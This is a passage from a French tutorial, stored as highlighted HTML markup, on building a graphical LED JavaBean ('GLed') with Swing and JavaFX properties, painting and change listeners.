&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectPropertyBase&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;RED&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getBean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Color property&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;//…&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getColor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectProperty&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;colorProperty&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;ajout des &lt;em&gt;getter / setter&lt;/em&gt; ainsi que la méthode &lt;code&gt;colorProperty()&lt;/code&gt; se fait comme pour la propriété &lt;em&gt;on&lt;/em&gt;. On a maintenant un &lt;em&gt;bean&lt;/em&gt; fonctionnel et exposant deux propriétés.&lt;/p&gt;
&lt;h2&gt;Quand mon bean devient graphique&lt;/h2&gt;
&lt;p&gt;Pour être un composant graphique avec Swing, le &lt;em&gt;bean&lt;/em&gt; peut hériter de la classe &lt;code&gt;javax.swing.JPanel&lt;/code&gt;. En héritant de cette classe:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;j&amp;rsquo;hérite également de &lt;code&gt;javax.swing.Container&lt;/code&gt; qui offre la capacité d&amp;rsquo;être écouté. Je pourrai donc faire un &lt;code&gt;firePropertyChange()&lt;/code&gt; dès qu&amp;rsquo;une propriété change. C&amp;rsquo;est bien le développeur qui est responsable de ce &lt;em&gt;fire&lt;/em&gt;;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;je suis un composant &lt;strong&gt;graphique&lt;/strong&gt; et il me suffit de réécrire la méthode &lt;code&gt;paintComponent(Graphics)&lt;/code&gt; pour que mon composant ait l&amp;rsquo;allure qui me convient. Un appel à &lt;code&gt;repaint()&lt;/code&gt; quand une propriété (graphique) change permet la mise à jour de l&amp;rsquo;aspect graphique du composant.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;rsquo;ajoute cette réécriture de la méthode &lt;code&gt;paintComponent()&lt;/code&gt; dans mon code ainsi qu&amp;rsquo;un appel à la méthode &lt;code&gt;repaint()&lt;/code&gt; dans chaque &lt;em&gt;setter&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GLed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JPanel&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Serializable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//…&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;//…&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;repaint&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;//…&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;repaint&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;paintComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Graphics&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;Graphics2D&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Graphics2D&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRenderingHint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;RenderingHints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;KEY_RENDERING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;RenderingHints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;VALUE_RENDER_QUALITY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRenderingHint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;RenderingHints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;KEY_ALPHA_INTERPOLATION&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;RenderingHints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;VALUE_ALPHA_INTERPOLATION_QUALITY&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setRenderingHint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;RenderingHints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;KEY_ANTIALIASING&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="n"&gt;RenderingHints&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;VALUE_ANTIALIAS_ON&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BLACK&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;drawOval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="err"&gt;…\&lt;/span&gt;&lt;span class="o"&gt;*/&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isOn&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;WHITE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;g2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fillOval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/*…*/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour être un composant graphique avec JavaFX, le bean peut hériter de la classe &lt;code&gt;javafx.scene.Parent&lt;/code&gt;. Pas de méthode &lt;code&gt;paintComponent()&lt;/code&gt; appelée automatiquement ou &lt;em&gt;via&lt;/em&gt; &lt;code&gt;repaint()&lt;/code&gt;. Il suffit d&amp;rsquo;ajouter des composants graphiques comme attributs privés — par exemple un &lt;code&gt;Circle&lt;/code&gt; — et de les mettre à jour dans les &lt;em&gt;setters&lt;/em&gt;. Le reste se fait automatiquement. L&amp;rsquo;ajout de la figure dans le composant se fait en l&amp;rsquo;ajoutant comme nœud enfant du composant (voir par exemple ce &lt;a href="https://openclassrooms.com/courses/les-applications-web-avec-javafx/les-noeuds-graphiques"&gt;tutoriel&lt;/a&gt; pour une explication sur l&amp;rsquo;organisation en nœuds).&lt;/p&gt;
&lt;p&gt;Notez au passage l&amp;rsquo;apparition d&amp;rsquo;une couleur &lt;em&gt;transparente&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Circle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Circle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// It will be better to use a constant&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setStroke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;BLACK&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;getChildren&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;aon&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aon&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;aon&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TRANSPARENT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setColor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Puisqu&amp;rsquo;avec Swing, je suis dans une optique où je précise quel type de &lt;em&gt;listeners&lt;/em&gt; j&amp;rsquo;utilise — en l&amp;rsquo;occurrence, des &lt;em&gt;PropertyChangeListener&lt;/em&gt; — la classe qui veut écouter une led doit implémenter &lt;code&gt;PropertyChangeListener&lt;/code&gt; et écrire la méthode &lt;code&gt;propertyChange()&lt;/code&gt; &lt;strong&gt;ou&lt;/strong&gt; bien utiliser les classes internes anonymes. Par exemple,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;led&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addPropertyChangeListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PropertyChangeListener&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;propertyChange&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PropertyChangeEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getPropertyName&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;PROPERTY&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;_ON&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;evt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getNewValue&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// do something                        &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Avec JavaFX, le principe est semblable bien que plus général. Pour attraper un événement (&lt;em&gt;event&lt;/em&gt;) — tous les événements sont des &lt;code&gt;Event&lt;/code&gt; — il faut implémenter &lt;code&gt;ChangeListener&amp;lt;T&amp;gt;&lt;/code&gt; et écrire la méthode &lt;code&gt;changed&lt;/code&gt; plus générique.&lt;/p&gt;
